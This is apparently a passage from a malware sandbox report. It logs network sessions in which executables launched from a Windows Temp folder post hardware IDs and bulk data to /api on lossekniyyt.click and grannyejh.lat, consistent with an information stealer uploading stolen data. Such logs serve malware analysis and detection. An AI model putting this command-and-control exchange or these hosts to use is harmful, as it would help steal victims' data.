2024-12-18 16:08:29 UTC	2785	OUT	Data Raw: c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_
2024-12-18 16:08:31 UTC	1045	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=epuejtf7fk5dd17v4dppd5c5ta; expires=Sun, 13-Apr-2025 09:55:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=97WDMICmvTQJ29wOwFSB%2BDvuf5GsvCb12ERKBMH70DWxlUnk%2FKLBhKAPv9kDNt8orfj4tZHMECLyGPUoH71dQ4EBY3IxtfW2X2P1SzaE%2FYCxmPxZENJOXfbKC0SeK509O44fHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406972c9c55e76-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1628&min_rtt=1620&rtt_var=624&sent=16&recv=22&lost=0&retrans=0&sent_bytes=2842&recv_bytes=19072&delivery_rate=1731909&cwnd=209&unsent_bytes=0&cid=3729ef7009976266&ts=2114&x=0"
2024-12-18 16:08:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:08:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49797	98.85.100.80	443	7960	C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:08:32 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-18 16:08:34 UTC	224	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:33 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-18 16:08:34 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49801	172.67.131.246	443	7828	C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:08:33 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KDDAL4TYCR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8731 Host: lossekniyyt.click
2024-12-18 16:08:33 UTC	8731	OUT	Data Raw: 2d 2d 4b 44 44 41 4c 34 54 59 43 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 44 44 41 4c 34 54 59 43 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 44 44 41 4c 34 54 59 43 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 4b 44 44 41 4c 34 54 59 43 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --KDDAL4TYCRContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--KDDAL4TYCRContent-Disposition: form-data; name="pid"2--KDDAL4TYCRContent-Disposition: form-data; name="lid"9Z1cyc----KDDAL4TYCRContent-Dispo
2024-12-18 16:08:35 UTC	1043	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jabd05ntvdekcde71t3m54ivv4; expires=Sun, 13-Apr-2025 09:55:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZwScEvx5om7haB7Lij5jVLl%2FEQOESxSx65lhoIwDQdocfa3vaG6t4oJceBDh%2FFxdmjnDMc8jIYoF4QcgWyHiGJkkDX1UgEowxIKYRJBMWwWi%2FOr7wshwulk9AuzeEdF53Oy0YQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4069880f9d7c6f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1862&min_rtt=1848&rtt_var=721&sent=6&recv=13&lost=0&retrans=0&sent_bytes=2843&recv_bytes=9663&delivery_rate=1487519&cwnd=212&unsent_bytes=0&cid=83eb613940dd20eb&ts=2714&x=0"
2024-12-18 16:08:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:08:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49808	172.67.131.246	443	7828	C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:08:37 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N33HRC5W9CICLPKTM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20426 Host: lossekniyyt.click
2024-12-18 16:08:37 UTC	15331	OUT	Data Raw: 2d 2d 4e 33 33 48 52 43 35 57 39 43 49 43 4c 50 4b 54 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4e 33 33 48 52 43 35 57 39 43 49 43 4c 50 4b 54 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4e 33 33 48 52 43 35 57 39 43 49 43 4c 50 4b 54 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 4e 33 33 48 Data Ascii: --N33HRC5W9CICLPKTMContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--N33HRC5W9CICLPKTMContent-Disposition: form-data; name="pid"3--N33HRC5W9CICLPKTMContent-Disposition: form-data; name="lid"9Z1cyc----N33H
2024-12-18 16:08:37 UTC	5095	OUT	Data Raw: 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-18 16:08:40 UTC	1049	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8bd1pll3ja2ojarkc6fg9i36j5; expires=Sun, 13-Apr-2025 09:55:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lRvF18%2BPNsa%2By5nWG5aD0S2oQHyfSUzrgMuBwWkLPiHQbVJYIRj%2FZNboum1W%2FtHXwKe92ZKchrv%2Fg7mvo4pvNyVlHtmLVnkaGOC4aMiEcOEscGgsS5vhkDtmtv5vV3EsXfnRDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4069a0cdcede98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1724&min_rtt=1722&rtt_var=651&sent=16&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21388&delivery_rate=1675272&cwnd=212&unsent_bytes=0&cid=2720d219ace35066&ts=3521&x=0"
2024-12-18 16:08:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:08:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49820	172.67.179.109	443	8164	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:08:40 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 16:08:40 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 16:08:45 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2lf6kbc1l5ru0t6s7o7db0fplp; expires=Sun, 13-Apr-2025 09:55:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jGUkzWTxrEZY%2BL6UObW2pl0fqELTa1Bp4Ym5CyB3J46h1fv6lIFBq2h7oiVS6eGa6QZOYDp3Vo%2FWC4VezMQa%2BDnmfZYjc3esPK%2BwaXv87BZJ5Ag%2FP3m7DMTR81qgtm2c"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4069b959ea4235-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1670&rtt_var=655&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1748502&cwnd=248&unsent_bytes=0&cid=27fb7dcb9b017328&ts=5074&x=0"
2024-12-18 16:08:45 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 16:08:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49824	172.67.131.246	443	7828	C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:08:42 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ADUKYTX3V38KXWP7K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1278 Host: lossekniyyt.click
2024-12-18 16:08:42 UTC	1278	OUT	Data Raw: 2d 2d 41 44 55 4b 59 54 58 33 56 33 38 4b 58 57 50 37 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 44 55 4b 59 54 58 33 56 33 38 4b 58 57 50 37 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 44 55 4b 59 54 58 33 56 33 38 4b 58 57 50 37 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 41 44 55 4b Data Ascii: --ADUKYTX3V38KXWP7KContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--ADUKYTX3V38KXWP7KContent-Disposition: form-data; name="pid"1--ADUKYTX3V38KXWP7KContent-Disposition: form-data; name="lid"9Z1cyc----ADUK
2024-12-18 16:08:46 UTC	1042	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c4e79l0vjserb58md422cfim0q; expires=Sun, 13-Apr-2025 09:55:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a6j4A3vJOO7QXf5pRF82RPHYwM6Qj3HH0wp9ss1J9pN88jJfS78l%2BSu6EszvdnTzdgoZmUKUruRXFxscOpwK76%2FRXQB%2Fm3qaeRI4Pvt6ThDZfOmc3P85syjE5ekF5nrWmXDAHQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4069bfe9046a56-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1592&rtt_var=606&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2195&delivery_rate=1791411&cwnd=224&unsent_bytes=0&cid=25305f4ec8933323&ts=4851&x=0"
2024-12-18 16:08:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:08:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49841	172.67.131.246	443	7828	C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:08:49 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2NKFRFIKQG3SGSXLQI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 565227 Host: lossekniyyt.click
2024-12-18 16:08:49 UTC	15331	OUT	Data Raw: 2d 2d 32 4e 4b 46 52 46 49 4b 51 47 33 53 47 53 58 4c 51 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 4e 4b 46 52 46 49 4b 51 47 33 53 47 53 58 4c 51 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 4e 4b 46 52 46 49 4b 51 47 33 53 47 53 58 4c 51 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 32 Data Ascii: --2NKFRFIKQG3SGSXLQIContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--2NKFRFIKQG3SGSXLQIContent-Disposition: form-data; name="pid"1--2NKFRFIKQG3SGSXLQIContent-Disposition: form-data; name="lid"9Z1cyc----2
2024-12-18 16:08:49 UTC	15331	OUT	Data Raw: 86 3c da 9a 31 a2 a4 f0 db fe 6e 9a 8a a2 94 af 83 6d 6e 7f af 53 f3 ae ea 1f 22 39 20 71 69 84 39 71 ca 15 51 a5 9f ea bd 62 eb 2b d4 ae b5 52 5e 51 c8 1e e8 b7 12 f9 98 44 5f db bc 17 56 a7 f4 af 22 86 ae c3 aa 36 2d bc f6 a7 83 36 7a fb d5 18 21 3f 61 f1 4e c3 c8 8a 36 d3 62 aa 89 a3 af f1 e6 17 b4 e6 67 eb a3 11 ea 63 88 e1 87 be 61 63 c4 1f 8f 70 0b f1 60 04 d5 3a c1 9b 3f ba 87 61 14 b7 73 57 9a 74 0d 22 b1 1f e9 5f 3b 43 e8 3d 10 05 fb 48 ce 08 31 98 a8 d3 93 eb 62 3d 05 03 11 4c 11 92 ba fe a4 11 c0 d8 1e 2b c3 9d a2 d0 1c e5 8d 0d 22 c2 ed 08 2f 13 ad 55 19 3d 4b 16 70 f4 77 78 5b 48 70 4b 12 d3 83 82 1f 71 6f 47 68 7e be 31 62 1b ab 31 a2 fc ba f3 0a 2b e3 8a 35 db 8e 21 13 cb b9 ed f3 6c 16 be 97 7c ec e6 ab 6a 1f 30 aa 9d 6f 41 96 f9 bc bb fe Data Ascii: <1nmnS"9 qi9qQb+R^QD_V"6-6z!?aN6bgcacp`:?asWt"_;C=H1b=L+"/U=Kpwx[HpKqoGh~1b1+5!l\|j0oA
2024-12-18 16:08:49 UTC	15331	OUT	Data Raw: d1 18 56 84 c7 b0 25 7b a4 be ac a9 26 c5 d6 9a f4 03 77 57 fc ed 06 9b 8c 97 71 db d2 65 a2 10 07 cf 33 9f eb 3c 2a 41 a8 33 2e e5 e2 39 b2 2b 17 9f 0d 5b 6e bb df 9a 7b c6 61 f2 a9 85 ac 15 d0 ba d7 9d 9e 06 13 50 3f 9e d3 7d 04 af 7e 58 fe b6 cf 61 f3 10 d7 78 bc a2 b8 f4 12 c6 d2 f6 f5 9f 8a bc 26 e3 d9 81 b3 e4 b4 85 dc ea 05 1b d6 24 99 57 56 c1 1e 0a 1a ac af d9 2a 0a 0a 1c dd ad e7 3a 14 7e 1f 62 1a 8b 72 bb 06 8f 8c f8 f9 7f de 48 8b ba 61 0f d7 dc e1 fd 3c c8 7e 92 76 6f 57 70 45 f4 39 7f cf 2f b3 f1 ea 5e 4b a1 ea f9 7a ce de 0e 89 36 b7 cf 06 b7 ef 5b 70 9c 9e d0 28 2f eb dd 29 19 fd 2d ef d4 00 71 a8 d2 04 54 f4 3e fd 70 57 c3 e9 5e 51 d0 48 8b 93 57 0d 27 9b ec 4d 4c 65 87 94 5c 5f 7f 64 04 b6 d7 1f 54 69 03 a7 e0 ce 0f 76 45 ff 7d e8 5f 8c Data Ascii: V%{&wWqe3<A3.9+[n{aP?}~Xax&$WV:~brHa<~voWpE9/^Kz6[p(/)-qT>pW^QHW'MLe\_dTivE}_
2024-12-18 16:08:49 UTC	15331	OUT	Data Raw: d8 ef 5a 31 dc b4 0c 03 6c 9c 61 e4 fa 50 06 eb 3e 5d 49 20 d9 c9 3c 1f 4e 20 f2 77 41 01 71 a8 c6 71 d6 14 8b 1c 1d 87 86 52 57 5c b3 19 d3 fa c5 2b d8 77 0a d6 ce 15 ea a0 49 32 6c dd 50 9e 60 61 d4 51 d2 e8 5a e2 a3 cd c5 2c bc d0 bb 36 95 67 d4 8d ac 5f 3c 24 bc 76 be db 35 2b 63 a0 0e 5b 58 ca b7 22 03 12 ff 28 f8 a1 2e 81 26 d7 12 19 74 57 2a a2 fb a1 69 10 cf d6 9d 9c 04 b2 69 88 e7 8a 6a 56 46 2d a9 94 73 cb 81 d8 95 7b 05 b8 3d f3 3f ad 36 52 32 6a f0 36 d5 64 d4 f3 c2 53 22 f5 7b 85 c1 13 93 64 e3 57 83 92 8e 56 2e 87 c8 cd 05 df 5c 78 90 1b ea 42 79 db 05 55 79 1f 79 b4 b4 93 d9 76 38 f4 58 41 b4 55 8c 50 92 5a 91 aa bb 72 27 fd b1 e2 4b be a0 a3 5a 4c e5 68 f3 6d 45 92 d5 72 cf 97 50 46 9b 47 7f 2e ca da ee df f6 57 23 3f bd 72 d0 73 41 a3 b7 Data Ascii: Z1laP>]I <N wAqqRW\+wI2lP`aQZ,6g_<$v5+c[X"(.&tW*iijVF-s{=?6R2j6dS"{dWV.\xByUyyv8XAUPZr'KZLhmErPFG.W#?rsA
2024-12-18 16:08:49 UTC	15331	OUT	Data Raw: 46 fd bf 53 bd 06 f6 3d b1 b6 5c e8 46 c1 61 78 b1 9f 8b 0d bf 99 af 4e d8 13 4f 2f c5 47 69 80 fb e7 b4 99 56 27 8c 74 ef 72 c6 11 8c dd dc 99 4a ac 32 ef a2 0c 4e a3 d2 04 1f 9c 85 1b 8d 57 f0 b5 15 d6 26 6a 4e 59 d5 04 74 88 90 d2 85 25 57 75 e3 e6 0d 55 f9 4c 53 da fd dd 8c ac dc 82 f4 d3 64 b7 3e 2a cf 4e b1 fd 8b 53 c8 f5 73 1e ec 5f ae a2 08 c2 df bb 4f 09 ae 1b 17 5d 33 a2 69 c1 2d 24 86 d1 31 48 72 a9 64 85 83 45 f7 f0 35 6b ab b5 ae 18 8e 81 73 93 c9 13 ec 51 49 47 b6 a0 09 c9 9e 47 a4 fc 55 5b c2 7b c7 96 c5 c8 65 90 99 26 9a 3b 47 7f 62 ae 9e 7e 96 db f1 ac 0b 9c f1 aa 34 39 44 a6 12 ae c6 a3 5a 84 ff 83 81 2d af 11 16 4c c1 d5 88 92 c6 8d 8d e5 7e 3f 92 0c 92 2c c9 8f c3 d5 d6 df ae 20 df 37 6e a8 0e cb de 23 4f ce 67 f3 26 6d 4b 09 5e f8 7b Data Ascii: FS=\FaxNO/GiV'trJ2NW&jNYt%WuULSd>*NSs_O]3i-$1HrdE5ksQIGGU[{e&;Gb~49DZ-L~?, 7n#Og&mK^{
2024-12-18 16:08:49 UTC	15331	OUT	Data Raw: f2 45 a6 15 7d 87 72 81 5c 55 a9 39 91 37 32 b8 f2 8d 22 dc 71 7a 16 4f 18 db 1a df 68 6a 88 f5 b3 5d 75 e2 a7 ce ba f7 c3 de 82 23 87 22 21 f6 d8 7a d5 e3 5c 30 97 00 33 05 15 e6 c7 77 53 fb 9a d6 98 68 05 d2 3e 89 cc 53 4e 7d 6a 29 fc 87 82 dc 76 0c 4c ca 87 1e 5a 40 ad 09 7c 32 8c c0 2a 4b 88 be 8f 89 df 63 d2 c8 9f e7 e9 f4 ab 77 2d 18 e3 9d d0 9a 9e cb 69 13 a9 2b 5d 0f 9c 69 6c 58 af 47 c3 4a 34 57 fb c8 1e 99 cc cb 0a 5f 5d 10 be 1e ee 7a 2c 27 71 a5 b6 2b fb 49 54 d1 5a 18 ae 66 ef 32 7f 4e 3a 39 4e 88 5a 00 16 76 df a5 b6 fd 57 2b e1 a4 8e af 70 50 bf 4d bf 87 5d 90 c5 dc 49 90 77 b5 8f d2 ad 92 ca f6 59 3a f1 3a 70 cb 4f b1 e3 2e 8a 43 15 f1 4f e0 df f9 f8 0f 25 f1 58 32 b8 6d 98 cd 6a 68 ec 55 b9 c0 ff f1 3c 95 60 23 79 0d ba f2 5b f2 94 93 36 Data Ascii: E}r\U972"qzOhj]u#"!z\03wSh>SN}j)vLZ@\|2*Kcw-i+]ilXGJ4W_]z,'q+ITZf2N:9NZvW+pPM]IwY::pO.CO%X2mjhU<`#y[6
2024-12-18 16:08:49 UTC	15331	OUT	Data Raw: 94 76 e7 cd bc d3 ca 79 6e ce e0 9b a3 7f d3 e2 37 99 15 18 4b 5f c0 e9 b1 b3 1f 54 52 9f dc 5e dd f7 60 e5 06 bd 91 52 c0 ee 80 5e 9c 34 d1 9a dd 68 ec ae ed 0e a1 a3 df a3 35 f7 2b 6a de 01 d9 7e 2f 0c af 7e 0c 0f 14 7c 74 04 03 93 43 15 1b 45 84 86 9e d3 e3 be 29 68 ef 69 28 ed 29 99 9e dd 63 a2 ae a0 04 5e a3 2d 47 21 d4 67 cf b8 69 43 7e 30 3e 12 4e 6f 1a d3 a8 a7 7e 3f 4a 9d cd d5 64 0b 53 64 5b 1c 83 92 29 c2 14 3b f9 50 09 70 f2 4d 2e 5b b7 0a 29 35 35 7e d0 5c 97 90 fb 4b f8 fc 62 c5 4f 52 b4 e6 83 49 21 e5 b7 f4 13 b2 c1 7c 0b 24 fe 1a 23 84 6a 5f dd 15 e5 c3 3b 0b c1 b7 70 14 b3 de d0 bf 1c 4a 96 93 84 52 d3 97 52 a9 55 88 e3 b9 ac 18 4a fe fd 9d 0a b0 ce ba 36 d2 a0 e3 86 11 2b f2 39 43 02 94 fd fd 7c b6 85 51 44 3f 6f ce 5e fe eb 05 66 35 78 Data Ascii: 